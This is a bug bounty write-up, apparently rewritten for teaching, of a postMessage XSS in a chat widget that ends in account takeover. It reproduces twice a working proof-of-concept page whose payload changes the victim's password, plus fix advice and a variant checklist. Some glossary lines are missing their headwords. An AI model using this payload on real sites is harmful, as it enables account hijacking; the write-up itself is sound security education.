Account takeover via postMessage
The postMessage handler checked the sender's origin using a filter that always returns an array, so the null check never failed and any origin could send messages. An attacker could send a message with a javascript: URL as the redirect target, executing script in the victim's page and changing their password.
Hello everyone, I will share a simple and interesting xss completed through postMessage. When I was looking for a site bug in a private program, I accidentally found a period javascript code, the code is as follows
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a cross-site scripting issue that ends in account takeover, reached through a postMessage handler in a private bug bounty program. The researcher does not name the target, the product or the affected feature beyond the code itself. What the code shows is an inline web chat widget: a chat window embedded in a page, with controls to minimise, maximise and close it, a cookie that remembers whether the window is minimised, and a session tracking service that removes an active chat. The widget also accepts commands from other windows through postMessage, and one of those commands, window-redirect, sends the user to a URL supplied in the message.
The report was disclosed in June 2020 and paid a bounty of $1,500.
Setup
The report does not describe any accounts, roles, tools or versions. The proof of concept opens the target with window.open and then posts messages to that window from the opener.
Finding it
While looking for bugs on a site in a private program, the researcher came across a piece of JavaScript. The relevant part is reproduced here exactly as it appears in the report:
t.prototype.redirectTo = function(t) {
var e = String(t || "");
document.location.href = e;
},
t.prototype.handleMessages = function(t) {
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {
var i = document.getElementById(this.inlineChatFrameId)
, n = i && i.parentElement;
switch (t.data.command) {
case "inline-chat-window-minimise":
return n && (n.classList.remove("gnatta-inline-webchat"),
n.classList.add("gnatta-inline-webchat-collapse"),
this.toggleInlineChatScrollLock(n, !1)),
void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
case "inline-chat-window-maximise":
return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
n.classList.add("gnatta-inline-webchat"),
this.toggleInlineChatScrollLock(n, !0)),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "inline-chat-window-close":
return this.killInlineChat(),
n && this.toggleInlineChatScrollLock(n, !1),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "window-redirect":
return this.redirectTo(t.data.completionRedirectUrl),
void this.inlineChatSessionTrackingService.removeActiveChat()
}
}
}
The handler listens for messages and switches on t.data.command. Three of the commands only touch CSS classes and a cookie, but window-redirect passes t.data.completionRedirectUrl to redirectTo, which assigns it to document.location.href. A message that reaches that branch therefore controls navigation of the page.
Whenever the researcher sees postMessage code, the first thing checked is whether the origin is validated. Here it clearly is: the handler filters this.chatInstancesDetail for an entry whose domain matches t.origin, and only proceeds if a match is found. On the surface that looks correct.
Exploitation
The problem is in how the result of the filter is used. The origin check is:
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}
this.chatInstancesDetail is an array, and Array.prototype.filter always returns an array, whatever the predicate does. Indexing that array with [0] gives the first matching element, or undefined when nothing matched. The researcher demonstrated this in the console. With a match:
[1,2].filter((item)=>item===1)[0]
outputs 1. Without a match:
[1,2].filter((item)=>item===3)[0]
outputs undefined.
The guard that follows is if (null !== e). In JavaScript, null == undefined is true but null === undefined is false, so a strict comparison of null against undefined is always true. When the origin does not match, e is undefined, the condition still passes, and the switch runs. The origin check is therefore meaningless: any domain can communicate with the widget.
Step 1: build the payload page
The researcher constructed a proof of concept page. It is reproduced exactly as in the report:
<!DOCTYPE html>
<html>
<head>
<title>xss via postMessage</title>
</head>
<body>
<a href="javascript:attack()">click me start attack</a>
<script type="text/javascript">
var ctx,interval,payload;
payload=btoa(`
window.opener.postMessage('attackSuccess','*');
if(!window.cx){
window.cx=1;
email=$('#currentCustomerEmail').val();
password='Hackerone123';
$('input[name=newPassword]').val(password);
$('input[name=checkNewPassword]').val(password);
$('input[name=checkNewPassword]').removeAttr("disabled");
alert('Hello '+email+' your password will be changed to: '+password);
$('#updatePasswordForm').submit();
}
`);
function attack(){
ctx=window.open("https://example.com/xxx");
sendPayload();
}
function sendPayload(){
interval=setInterval(function(){
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
},500);
window.addEventListener("message",function(e){
if(e.data=="attackSuccess"){
clearInterval(interval);
}
});
}
</script>
</body>
</html>
The page contains a link that calls attack(). That function opens the target URL in a new window and stores the handle in ctx, then calls sendPayload(). The payload itself is a string, base64-encoded with btoa, that will run in the target's origin. It first posts attackSuccess back to window.opener so the attacker page knows it ran, then, guarded by a window.cx flag so it only runs once, reads the current customer email from #currentCustomerEmail, sets a new password in the newPassword and checkNewPassword inputs, removes the disabled attribute from the confirmation field, shows an alert containing the email and the new password, and submits #updatePasswordForm.
Step 2: deliver the message repeatedly
sendPayload() starts a 500 ms interval that posts the following message to the opened window, with '*' as the target origin:
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
The command field selects the window-redirect branch in the handler, and completionRedirectUrl carries a javascript: URL whose body is eval(atob(...)) over the base64 payload. Because the origin check is broken, the message is accepted regardless of where it comes from. The interval keeps sending until the attacker page receives attackSuccess on its message listener, at which point it clears the interval.
Step 3: the redirect runs the script
When the handler reaches the window-redirect case, it calls redirectTo(t.data.completionRedirectUrl), which assigns the string to document.location.href. The javascript: URL executes in the origin of the target page, so the payload runs with that origin's privileges: it can read the page's DOM, including the customer email field, fill in the password form and submit it. The report states that after running the proof of concept the victim's password is successfully modified.
Root cause
The mistake is a type confusion in the origin check. filter returns an array, and the code takes element [0] and compares it to null with !==. A failed match yields undefined, not null, so the guard never rejects anything. The check looks like an origin allowlist but enforces nothing.
Even with a correct guard, the design would still be dangerous: the handler accepts a javascript: URL in completionRedirectUrl and assigns it to document.location.href. Any origin that passes the check, or any code running in an allowed origin, could use the same redirect command to execute script in the widget's page.
Impact
An attacker who can get a victim to visit an attacker-controlled page can open the target site, post messages to it, and have arbitrary JavaScript run in the target's origin. In the demonstrated case the script reads the victim's email address from the page, sets a new password through the password update form and submits it, which results in account takeover.
The attack requires the victim to interact with the attacker's page: the proof of concept uses a link the victim clicks.
Fix
Based on the code shown, the guard should compare against undefined as well as null, or check the length of the filtered array, so that a failed origin match stops processing. The window-redirect command should also not accept javascript: URLs, and should restrict completionRedirectUrl to expected schemes and destinations.
Variants to test
- Look for
postMessagehandlers that filter an array and then index[0], comparing the result tonullwith!==or==. A positive result is that a message from an unrelated origin still reaches theswitchor the code after the guard. - Look for handlers that pass message data into
location.href,location.assign,location.replace,window.openor an iframesrc. A positive result is that ajavascript:URL supplied in the message executes in the page's origin. - Look for origin checks that compare
event.originagainst a value taken from configuration or from the DOM without normalisation, and test case variations and trailing slashes. A positive result is that a domain you control is treated as allowed. - Look for handlers that trust
event.datastructure without validating types, for example acommandfield that selects a branch and a second field that carries a URL. A positive result is that you can reach a navigation or DOM sink with attacker-controlled data. - Test whether the widget's message listener is reachable from a window you opened, and whether repeated messages are needed before the page is ready. A positive result is that a single message after load triggers the sink, or that a short interval reliably does.
What happened, in plain words
A security researcher was browsing a website that belonged to a private bug bounty program (a company that pays people for finding bugs in its software) and found a piece of JavaScript code that looked suspicious. The code was part of an inline web chat widget: a small chat window that a company embeds inside its own web page so customers can talk to support without leaving the page.
The widget had a feature that let it listen for messages sent from other browser windows. This is done with a browser feature called postMessage, which lets one window or tab send a small package of data to another window or tab. The code handled messages to minimise, maximise or close the chat window, and also to redirect the page to a URL supplied in the message.
The code tried to check where each message came from, so that only trusted domains could send commands. But the check was written incorrectly. Because of a subtle detail in how JavaScript compares values, the check always passed, no matter who sent the message. The researcher wrote a small attack page that opened the target site in a new window, sent it a crafted message, and got the target page to run JavaScript that changed the victim's password. That is an account takeover: the attacker ends up in control of someone else's account.
The report was disclosed in June 2020 and the researcher was paid $1,500.
Background: the pieces you need to know
Before walking through the bug, here are the ideas that come up, explained from scratch.
- JavaScript: the programming language that runs inside web pages in your browser. It is what makes pages interactive.
- The DOM (Document Object Model): the browser's in-memory model of the page. JavaScript can read and change it, for example to read what is typed into a form field or to submit a form.
- A window or tab: each browser window or tab is a separate browsing context. One page can open another with
window.open, and the page that opened it is called the opener. postMessage: a way for one window to send a message to another window. The sender callsotherWindow.postMessage(data, targetOrigin). The receiver listens withwindow.addEventListener("message", handler). The handler receives an event object withevent.data(the payload) andevent.origin(where the message came from).- Origin: the combination of protocol, host and port, for example
https://shop.example.com. Browsers use the origin to decide whether two pages are allowed to touch each other's data. Pages from different origins are normally kept apart. - Origin check: because
postMessagecan be sent by any page, a careful receiver checksevent.originagainst a list of allowed origins before acting on the message. If the check is missing or broken, any website can send commands to the receiver. - XSS (cross-site scripting): a class of bug where an attacker gets their own JavaScript to run inside someone else's web page, in that page's origin. Once the script runs there, it can do anything the page itself could do: read data, fill in forms, send requests as the logged-in user.
- Account takeover: when an attacker gains control of another person's account, for example by changing their password.
- Cookie: a small piece of data a website stores in your browser, often used to remember that you are logged in. The chat widget in this report also uses a cookie to remember whether the chat window is minimised.
- Base64: a way of encoding text as a string of letters, digits and a few symbols. It does not encrypt anything; it just makes the text safe to carry inside another string. In JavaScript,
btoaencodes andatobdecodes. javascript:URL: a URL that starts withjavascript:and contains code. When a browser navigates to such a URL, it runs the code in the context of the current page. This is why assigning one todocument.location.hrefis dangerous.setInterval: a JavaScript function that runs another function again and again, every N milliseconds, until it is stopped withclearInterval.- jQuery: a popular JavaScript library that makes it easier to select elements on a page (
$('#id'),$('input[name=...]')) and to read or change them.
Finding it
While looking for bugs on a site in a private program, the researcher came across a piece of JavaScript. The relevant part is reproduced here exactly as it appears in the report:
t.prototype.redirectTo = function(t) {
var e = String(t || "");
document.location.href = e;
},
t.prototype.handleMessages = function(t) {
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {
var i = document.getElementById(this.inlineChatFrameId)
, n = i && i.parentElement;
switch (t.data.command) {
case "inline-chat-window-minimise":
return n && (n.classList.remove("gnatta-inline-webchat"),
n.classList.add("gnatta-inline-webchat-collapse"),
this.toggleInlineChatScrollLock(n, !1)),
void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
case "inline-chat-window-maximise":
return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
n.classList.add("gnatta-inline-webchat"),
this.toggleInlineChatScrollLock(n, !0)),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "inline-chat-window-close":
return this.killInlineChat(),
n && this.toggleInlineChatScrollLock(n, !1),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "window-redirect":
return this.redirectTo(t.data.completionRedirectUrl),
void this.inlineChatSessionTrackingService.removeActiveChat()
}
}
}
Line by line, in plain words:
t.prototype.redirectTo = function(t) { ... }defines a function calledredirectTothat takes one argument. It converts the argument to a string (or to an empty string if it is missing) and assigns it todocument.location.href. Assigning tolocation.hreftells the browser to navigate to that address. If the address is ajavascript:URL, the browser runs the code instead of loading a page.t.prototype.handleMessages = function(t) { ... }defines the function that runs whenever a message arrives. The argumenttis the message event.var e = this.chatInstancesDetail.filter(function(e) { return e.domain.toLowerCase() === t.origin.toLowerCase() })[0];looks through a list calledchatInstancesDetailand keeps only the entries whosedomainmatches the origin of the incoming message, ignoring upper and lower case. The[0]then takes the first entry of the result. This is the origin check.if (null !== e) { ... }is the guard: only continue ifeis notnull.var i = document.getElementById(this.inlineChatFrameId), n = i && i.parentElement;finds the chat iframe on the page and its parent element, so the code can change how the chat window looks.switch (t.data.command) { ... }looks at thecommandfield inside the message and picks a branch.- The
inline-chat-window-minimise,inline-chat-window-maximiseandinline-chat-window-closebranches only swap CSS classes on the chat window, lock or unlock page scrolling, and create or delete a cookie calledInlineChatIsMinimized. They change appearance, nothing more. - The
window-redirectbranch callsthis.redirectTo(t.data.completionRedirectUrl)and then removes the active chat from a session tracking service. This is the interesting branch: it takes a URL straight out of the message and navigates the page to it.
So a message that reaches the window-redirect branch controls where the page goes. Whenever the researcher sees postMessage code, the first thing checked is whether the origin is validated. Here it clearly is: the handler filters the list for an entry whose domain matches t.origin, and only proceeds if a match is found. On the surface that looks correct.
Exploitation
The problem is in how the result of the filter is used. The origin check is:
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}
this.chatInstancesDetail is an array, and Array.prototype.filter always returns an array, whatever the test inside it does. If nothing matches, you get an empty array, not null. Indexing that array with [0] gives the first matching element, or undefined when nothing matched. The researcher demonstrated this in the browser console. With a match:
[1,2].filter((item)=>item===1)[0]
outputs 1. Without a match:
[1,2].filter((item)=>item===3)[0]
outputs undefined.
The guard that follows is if (null !== e). In JavaScript, null == undefined is true but null === undefined is false, so a strict comparison of null against undefined is always true. When the origin does not match, e is undefined, the condition still passes, and the switch runs. The origin check is therefore meaningless: any domain can communicate with the widget.
Step 1: build the payload page
The researcher constructed a proof of concept page. It is reproduced exactly as in the report:
<!DOCTYPE html>
<html>
<head>
<title>xss via postMessage</title>
</head>
<body>
<a href="javascript:attack()">click me start attack</a>
<script type="text/javascript">
var ctx,interval,payload;
payload=btoa(`
window.opener.postMessage('attackSuccess','*');
if(!window.cx){
window.cx=1;
email=$('#currentCustomerEmail').val();
password='Hackerone123';
$('input[name=newPassword]').val(password);
$('input[name=checkNewPassword]').val(password);
$('input[name=checkNewPassword]').removeAttr("disabled");
alert('Hello '+email+' your password will be changed to: '+password);
$('#updatePasswordForm').submit();
}
`);
function attack(){
ctx=window.open("https://example.com/xxx");
sendPayload();
}
function sendPayload(){
interval=setInterval(function(){
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
},500);
window.addEventListener("message",function(e){
if(e.data=="attackSuccess"){
clearInterval(interval);
}
});
}
</script>
</body>
</html>
Line by line, in plain words:
- The page is a normal HTML document with a title and a body. The body contains one link whose address is
javascript:attack(), so clicking it runs theattackfunction. var ctx,interval,payload;declares three variables:ctxwill hold the handle of the window we open,intervalwill hold the timer, andpayloadwill hold the script we want to run on the target.payload=btoa(...)takes a block of JavaScript text and encodes it as base64, so it can be carried inside a URL without breaking it. The text inside the backticks is the actual attack script.- Inside the payload,
window.opener.postMessage('attackSuccess','*')sends a short message back to the page that opened this window, so the attacker page knows the script ran. if(!window.cx){ window.cx=1; ... }is a guard so the script only runs once. The first time,window.cxis not set, so the block runs and sets it to1.email=$('#currentCustomerEmail').val();uses jQuery to read the value of the field with idcurrentCustomerEmail, which holds the victim's email address.password='Hackerone123';sets the new password the attacker wants.$('input[name=newPassword]').val(password);and$('input[name=checkNewPassword]').val(password);fill the two password fields on the page with that password.$('input[name=checkNewPassword]').removeAttr("disabled");removes thedisabledattribute from the confirmation field, so it can be submitted even if the page had locked it.alert('Hello '+email+' your password will be changed to: '+password);shows a pop-up with the email and the new password, which makes the result visible to the researcher.$('#updatePasswordForm').submit();submits the password change form, which sends the new password to the site.function attack(){ ctx=window.open("https://example.com/xxx"); sendPayload(); }opens the target site in a new window, stores the handle inctx, and starts sending messages.function sendPayload(){ interval=setInterval(function(){ ... },500); ... }sets up a timer that runs every 500 milliseconds, and adds a listener for messages coming back.- Inside the timer,
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':javascript:eval(atob('${payload}'))},'*');sends the crafted message to the opened window. Thecommandfield selects thewindow-redirectbranch, andcompletionRedirectUrlcarries ajavascript:URL whose body iseval(atob(...))over the base64 payload. The'*'means the message is sent regardless of the receiver's origin. window.addEventListener("message",function(e){ if(e.data=="attackSuccess"){ clearInterval(interval); } });listens for theattackSuccessmessage from the payload and stops the timer once it arrives.
Step 2: deliver the message repeatedly
sendPayload() starts a 500 ms interval that posts the following message to the opened window, with '*' as the target origin:
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
The command field selects the window-redirect branch in the handler, and completionRedirectUrl carries a javascript: URL whose body is eval(atob(...)) over the base64 payload. Because the origin check is broken, the message is accepted regardless of where it comes from. The interval keeps sending until the attacker page receives attackSuccess on its message listener, at which point it clears the interval.
Step 3: the redirect runs the script
When the handler reaches the window-redirect case, it calls redirectTo(t.data.completionRedirectUrl), which assigns the string to document.location.href. The javascript: URL executes in the origin of the target page, so the payload runs with that origin's privileges: it can read the page's DOM, including the customer email field, fill in the password form and submit it. The report states that after running the proof of concept the victim's password is successfully modified.
Root cause
The mistake is a type confusion in the origin check. filter returns an array, and the code takes element [0] and compares it to null with !==. A failed match yields undefined, not null, so the guard never rejects anything. The check looks like an origin allowlist but enforces nothing.
Even with a correct guard, the design would still be dangerous: the handler accepts a javascript: URL in completionRedirectUrl and assigns it to document.location.href. Any origin that passes the check, or any code running in an allowed origin, could use the same redirect command to execute script in the widget's page. The report does not say whether the target applied any other validation to the URL.
Impact
An attacker who can get a victim to visit an attacker-controlled page can open the target site, post messages to it, and have arbitrary JavaScript run in the target's origin. In the demonstrated case the script reads the victim's email address from the page, sets a new password through the password update form and submits it, which results in account takeover. The report describes this as modifying the victim's password; it does not describe any further actions taken with the account.
The attack requires the victim to interact with the attacker's page: the proof of concept uses a link the victim clicks.
Fix
Based on the code shown, the guard should compare against undefined as well as null, or check the length of the filtered array, so that a failed origin match stops processing. The window-redirect command should also not accept javascript: URLs, and should restrict completionRedirectUrl to expected schemes and destinations.
Variants to test
- Look for
postMessagehandlers that filter an array and then index[0], comparing the result tonullwith!==or==. A positive result is that a message from an unrelated origin still reaches theswitchor the code after the guard. - Look for handlers that pass message data into
location.href,location.assign,location.replace,window.openor an iframesrc. A positive result is that ajavascript:URL supplied in the message executes in the page's origin. - Look for origin checks that compare
event.originagainst a value taken from configuration or from the DOM without normalisation, and test case variations and trailing slashes. A positive result is that a domain you control is treated as allowed. - Look for handlers that trust
event.datastructure without validating types, for example acommandfield that selects a branch and a second field that carries a URL. A positive result is that you can reach a navigation or DOM sink with attacker-controlled data. - Test whether the widget's message listener is reachable from a window you opened, and whether repeated messages are needed before the page is ready. A positive result is that a single message after load triggers the sink, or that a short interval reliably does.
Glossary
- Array: an ordered list of values in JavaScript, written with square brackets, for example
[1,2]. - Base64: an encoding that turns text into letters, digits and a few symbols so it can travel safely inside another string. It is not encryption.
- Bug bounty program: a scheme where a company pays researchers for reporting security bugs in its software.
- Cross-site scripting (XSS): a bug where an attacker gets their own JavaScript to run inside someone else's web page, in that page's origin.
- DOM (Document Object Model): the browser's in-memory model of a page, which JavaScript can read and change.
eval: a JavaScript function that runs a string as code.filter: a JavaScript array method that returns a new array containing only the items that pass a test. It always returns an array, even if nothing passes.- Iframe: a frame embedded inside a page that loads another page.
- jQuery: a JavaScript library that makes selecting and changing page elements easier.
- Navigating to it runs the code in the current page's context.
- Opener: the window that opened another window with
window.open. - Browsers use it to keep pages from different sites apart.
postMessage: a browser feature that lets one window send a message to another window.setInterval/clearInterval: JavaScript functions that run something repeatedly every N milliseconds, and stop that repetition.- Strict comparison (
===): a JavaScript comparison that checks both value and type, sonull === undefinedis false. - Type confusion: a bug where code treats a value as one type when it is actually another, for example treating
undefinedas if it werenull. window.open: a JavaScript function that opens a new window or tab and returns a handle to it.window.opener: inside a window opened by another, a reference back to the window that opened it.